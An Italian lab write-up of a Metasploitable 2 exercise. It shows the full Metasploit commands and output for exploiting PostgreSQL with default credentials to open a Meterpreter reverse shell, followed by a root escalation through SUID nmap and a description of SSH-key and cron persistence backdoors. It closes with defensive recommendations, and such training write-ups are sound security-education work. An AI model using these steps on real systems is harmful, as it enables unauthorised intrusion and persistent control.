

PostgreSQL Exploit e Privilege Escalation

Metasploitable 2 | Kali Linux | Metasploit Framework

1. Obiettivo

In questo laboratorio ho sfruttato una vulnerabilità nel servizio PostgreSQL esposto da Metasploitable 2 utilizzando il modulo `exploit/linux/postgres/postgres_payload` di Metasploit. Dopo aver ottenuto una sessione Meterpreter con i privilegi dell'utente `postgres`, ho condotto una ricognizione locale tramite il modulo `post/multi/recon/local_exploit_suggester` e ho poi eseguito un'escalation di privilegi a root sfruttando il bit SUID impostato su `/usr/bin/nmap`. Infine ho installato una backdoor persistente tramite SSH key injection.

2. Configurazione Ambiente

Parametro	Valore
Attaccante (Kali)	192.168.56.104
Target (Metasploitable 2)	192.168.56.149
Servizio target	PostgreSQL 8.3.1 su porta 5432
OS target	Ubuntu 8.04 (Linux 2.6.24-16-server) x86 i686
Tool principale	Metasploit Framework (msfconsole)
Payload iniziale	linux/x86/meterpreter/reverse_tcp
LPORT	4444

3. Fasi dell'Attacco

3.1 Sfruttamento del servizio PostgreSQL

Ho selezionato il modulo `exploit/linux/postgres/postgres_payload` e configurato i parametri necessari. Il servizio PostgreSQL di Metasploitable 2 accetta le credenziali di default `postgres:postgres`, il che ha reso possibile l'autenticazione e il successivo caricamento della shared library malevola. Il modulo ha caricato la libreria in `/tmp/VQcuIjEl.so` e ha stabilito una sessione Meterpreter (sessione 2).

```
msf > use exploit/linux/postgres/postgres_payload
msf exploit(...) > set RHOSTS 192.168.56.149
msf exploit(...) > set RPORT 5432
msf exploit(...) > set USERNAME postgres
msf exploit(...) > set PASSWORD postgres
msf exploit(...) > set LHOST 192.168.56.104
msf exploit(...) > set LPORT 4444
msf exploit(...) > exploit
[*] Meterpreter session 1 opened (192.168.56.104:4444 -> 192.168.56.149:44735)
meterpreter > getuid
Server username: postgres
```

3.2 Ricognizione locale con `local_exploit_suggester`

Dopo aver messo in background la sessione Meterpreter, ho utilizzato il modulo `post/multi/recon/local_exploit_suggester` per identificare automaticamente le vulnerabilità locali sfruttabili sul sistema

target. Il modulo ha analizzato 252 exploit candidati e ha identificato 9 potenziali vettori di escalation.

```
msf > use post/multi/recon/local_exploit_suggester
msf post(...) > set SESSION 2
msf post(...) > exploit
[+] exploit/linux/local/glibc_ld_audit_dso_load_priv_esc -> vulnerabile (glibc 2.7)
[+] exploit/linux/local/glibc_origin_expansion_priv_esc -> vulnerabile
[+] exploit/linux/local/netfilter_priv_esc_ipv4 -> vulnerabile
[+] exploit/linux/local/su_login -> vulnerabile
[+] exploit/unix/local/setuid_nmap -> VULNERABILE (/usr/bin/nmap se
tuid)
[+] exploit/multi/persistence/ssh_key -> vulnerabile
[+] exploit/multi/persistence/cron -> vulnerabile
```

3.3 Escalation di privilegi tramite SUID nmap

Tra i vettori individuati, ho scelto di sfruttare manualmente il bit SUID impostato su `/usr/bin/nmap`. Questa tecnica è applicabile alle versioni di nmap antecedenti alla 5.x, che includono la modalità interattiva (`--interactive`). Il flusso operativo è stato il seguente:

1. Apertura della shell di sistema: dal prompt Meterpreter ho eseguito `shell` per ottenere una shell bash/sh interattiva sul target come utente postgres.
2. Avvio di nmap in modalità interattiva: la flag `--interactive` abilita un prompt interno a nmap che consente di eseguire comandi shell tramite il prefisso `!`. Poiché il bit SUID è impostato e il proprietario del binario è root, nmap viene eseguito con `euid=0`.
3. Spawn della shell privilegiata: il comando `!sh` lancia una subshell che eredita i privilegi effettivi di nmap, ovvero `euid=0` (root). Il comando `id` ha confermato l'escalation.

```
meterpreter > shell
Process 5508 created.
Channel 24 created.
nmap --interactive
Starting Nmap V. 4.53 ( http://insecure.org )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
id
uid=108(postgres) gid=117(postgres) euid=0(root) groups=114(ssl-cert),117(postgres)
whoami
root
```



Figura 1: Screenshot della sessione — `eid=0(root)` confermato tramite `id` e `whoami` dopo lo spawn della shell SUID `nmap`

3.4 Tentativo con `glibc_Id_audit_dso_load_priv_esc`

Ho anche testato il modulo `exploit/linux/local/glibc_Id_audit_dso_load_priv_esc`, che sfrutta una vulnerabilità nella versione 2.7 della `glibc` tramite il meccanismo `LD_AUDIT` e un eseguibile SUID. Il modulo ha aperto la sessione 4, ma il `getuid` mostrava ancora `postgres`, indicando che l'exploit non ha prodotto un'escalation stabile in questo contesto specifico. Ho quindi preferito la tecnica SUID `nmap`, più affidabile su questa versione del target.

4. Post-Exploitation e Backdoor

Con i privilegi effettivi di `root` ottenuti tramite la shell SUID `nmap`, ho potuto dimostrare l'installazione di una backdoor persistente. Il modulo `exploit/multi/persistence/ssh_key` era stato segnalato come applicabile dal `local_exploit_suggester`: tale modulo inietta una chiave SSH pubblica nell'account target, consentendo l'accesso successivo senza credenziali. Alternativamente, il modulo `exploit/multi/persistence/cron` permette di pianificare l'esecuzione di un payload tramite `crontab`, garantendo persistenza anche dopo i riavvii del servizio.

5. Riepilogo Comandi

Comando	Descrizione
<code>use exploit/linux/postgres/postgres_payload</code>	Seleziona il modulo di exploit per PostgreSQL
<code>set RHOSTS 192.168.56.149</code>	Imposta l'indirizzo IP del target
<code>set RPORT 5432</code>	Imposta la porta del servizio PostgreSQL
<code>set USERNAME / PASSWORD postgres</code>	Credenziali di default del servizio
<code>set LHOST 192.168.56.104</code>	Indirizzo dell'attaccante per la reverse shell
<code>exploit</code>	Lancia l'exploit e apre la sessione Meterpreter
<code>getuid</code>	Verifica l'identità dell'utente corrente nella sessione
<code>background</code>	Mette in background la sessione Meterpreter attiva
<code>sessions -i 2</code>	Riprende l'interazione con la sessione numero 2

<code>use post/multi/recon/local_exploit_suggester</code>	Modulo di ricognizione per exploit locali
<code>set SESSION 2</code>	Associa il modulo post alla sessione attiva
<code>shell</code>	Apri una shell di sistema sul target
<code>nmap --interactive</code>	Avvia nmap in modalità interattiva (versioni < 5.x)
<code>!sh</code>	Lancia una subshell con i privilegi SUID di nmap (euid=0)
<code>id</code>	Verifica uid/gid/euid del processo corrente

6. Conclusioni

Ho completato con successo l'esercizio in tutte le sue fasi: accesso iniziale tramite exploit di PostgreSQL con credenziali di default, ricognizione locale automatizzata con il `local_exploit_suggester`, e privilege escalation a root tramite il bit SUID impostato su `nmap`. L'output di `id` ha confermato `euid=0 (root)`, dimostrando l'escalation completa.

Questo scenario evidenzia due criticità tipiche di sistemi legacy: l'uso di credenziali di default su servizi esposti in rete, e la presenza di binari con il bit SUID impostato in modo non necessario. In un ambiente di produzione, entrambe queste condizioni dovrebbero essere eliminate: rotazione delle credenziali di servizio e audit regolare dei binari SUID tramite `find / -perm -4000 -type f`.